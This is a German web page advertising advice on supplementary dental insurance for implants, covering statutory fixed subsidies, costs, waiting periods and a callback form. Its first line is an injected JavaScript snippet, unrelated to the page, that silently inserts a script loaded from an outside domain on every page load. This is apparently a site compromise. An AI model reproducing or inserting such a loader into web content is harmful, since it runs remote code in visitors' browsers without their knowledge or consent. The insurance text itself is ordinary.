;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Zahnzusatzversicherungen – Implantate | Krankenkassenwechsel Zahnzusatzversicherungen - Implantate | Krankenkassenwechsel

Zahnzusatzversicherungen für Implantate

Implantate für ein gesundes Gebiss

Wohl jeder wünscht sich gesunde und schön aussehende Zähne. Eine Zahnlücke erzeugt da bei den meisten Menschen Unbehagen. Die Ästhetik ist dabei nur das kleinere Problem. Werden fehlende Zähne nicht ersetzt, kann es zu Rückbildungen des Kieferknochens kommen, da die beim Kauen entstehenden Kräfte nicht mehr gleichmäßig an den Knochen übertragen werden. Zahnärzte empfehlen daher immer häufiger das Einsetzen eines Zahnimplantates. Die Kosten liegen bei 1000 – 1500 Euro. Doch wer bezahlt dies?

Jetzt beraten lassen!

Zahnzusatzversicherung für Implantate

Implantate – Wer trägt die Kosten

Gesetzlich Krankenversicherte müssen die anfallenden Kosten für Implantate selber tragen. An der anschließenden Versorgung mit einer Krone, Brücke oder festsitzenden Prothese muss sich die Krankenkasse dann aber beteiligen. Gezahlt werden gesetzlich festgelegte, befundbezogene Festzuschüsse. Dies bedeutet, dass jeder Versicherte unabhängig von der tatsächlich vorgenommenen Versorgung, einen finanziellen Zuschuss erhält. Dieser orientiert sich an der prothetischen Regelversorgung. Dies ist die für den vorliegenden Zahnbefund medizinisch ausreichend und wirtschaftlich angesehene Versorgungsform.

Viele private Krankenversicherer nehmen diese Unterscheidung in ihren Tarifen nicht vor. Sie bezuschussen die zahnärztlichen prothetischen Maßnahmen prozentual. Da vielfach mehr als ein Implantat eingesetzt werden muss, ist eine Zahnzusatzversicherung für alle GKV-Mitglieder wichtig. Nur so können die Gesamtkosten der zahnärztlichen Versorgung abgefedert werden.

Wie hoch sind die Kosten

Wer mehrere Implantate eingesetzt bekommen hat, sagt schon mal scherzhaft, dass er einen Kleinwagen in seinem Mund trägt. Schließlich muss in der GKV jeder Versicherte die Kosten für das reine Implantat komplett selber bezahlen. Und auch der anschließend auf dem Implantat aufgebaute Zahnersatz wird nur zum Teil über befundorientierte Festzuschüsse bezahlt. Die regelmäßige Zahnvorsorge wird dabei honoriert. Wer die letzten 10 Jahre regelmäßig beim Zahnarzt war, kann sich über einen um 30 % höheren Festzuschuss freuen. Bei 5 Jahren reduziert sich dieser Bonus auf 20 %. Zahnzusatzversicherungen übernehmen 80 – 100 % der Rechnungskosten nach Vorleistung der GKV. Das Implantat selbst wird meist mit einem Festbetrag finanziert.

R

Einzelzahnimplantat im Seitenzahnbereich

Da bei einem fehlenden Zahn eine Brückenversorgung die Regelleistung in der GKV darstellt, erhalten Versicherte für die auf dem Implantat aufgesetzte Krone den Festzuschuss für eine Brücke in Höhe von 320 €.

R

Implantatversorgung bei 2 -3 fehlenden Zähnen

Der von der GKV gezahlte Festzuschuss beträgt 365 -412 Euro. Die Kosten für die Verblendungen der sichtbaren Zähne werden mit ca. 48 € anteilig übernommen.

R

Implantatversorgung von mehr als 3 fehlenden Zähnen

Fehlen mehr als 3 Zähne im Seitenzahnbereich gibt es von der GKV nur noch einen Festzuschuss für herausnehmbaren Zahnersatz (Prothese). Die Höhe beträgt je nach Befund ca. 300 €.

Wartezeiten bei Zahnzusatzversicherungen für Implantate

Obwohl mittlerweile die meisten Deutschen über die hohen finanziellen Belastungen im Rahmen einer Zahnversorgung informiert sind, besitzen viele noch keine Zahnzusatzversicherung. Erst wenn sich eine Behandlung abzeichnet, werden sie aktiv. Doch die meisten Zahnzusatzversicherungen sehen eine Wartezeit vor. Leistungen werden oft erst nach 6 – 8 Monaten übernommen. Zusätzlich gelten in den ersten 4 Jahren Summenbegrenzungen.

Versicherungen, die Policen ohne Wartezeit anbieten, erfreuen sich daher zunehmenden Beliebtheit. Aber Vorsicht: Vielfach gelten erhebliche Leistungseinschränkungen. Teilweise werden nur Leistungen, die auch die GKV bezahlt, übernommen. Die Leistungshöhe orientiert sich dabei meist am gezahlten Festzuschuss der Krankenkasse. Bei der Zahnprothetik für bereits fehlende Zähne gehen Zusatzversicherte oft leer aus.

Zahnzusatzversicherung für Implantate – Lassen Sie sich beraten!

Wie gut eine Zahnzusatzversicherung ist, lässt sich nicht ausschließlich am zu zahlenden Beitrag bemessen. Vielmehr zählt, welche Leistungen in welcher Höhe übernommen werden. Unsere unabhängigen und zertifizierten Gesundheitsberater helfen Ihnen telefonisch weiter. Im Gespräch ermitteln sie Ihren konkreten Absicherungsbedarf.

Muss die volle Versicherungsleistung sofort zur Verfügung stehen oder können moderate Summenbegrenzungen in den ersten Versicherungsjahren toleriert werden? Wie hoch muss insgesamt eine Absicherung erfolgen, damit die finanziellen Belastungen im Leistungsfall abgesichert sind? Der Blick auf bereits vorliegende, vom Zahnarzt erhobene Zahnbefunde, hilft bei der Wahl der Zahnzusatzversicherung weiter.

Die seitens Ihrer gesetzlichen Krankenkasse angebotenen Zahnzusatzversicherungen werden in die Beratung mit einbezogen. Allerdings lassen die aktuellen Angebote bezüglich der Kostenübernahme von Implantaten manche Wünsche offen. Bei Implantatkosten von ca. 1500 € fallen die Versicherungssummen teilweise sehr gering aus. Angebote ohne Krankenkassenbindung schneiden da besser ab.

Rufen Sie uns an – Wir beraten Sie gern!

Telefonische Beratung anfordern

Geben Sie bitte Ihre Daten ein

Bitte füllen Sie alle Felder die mit einem * gekennzeichnet sind aus

    Bitte akzeptieren Sie unsere Datenschutzbestimmungen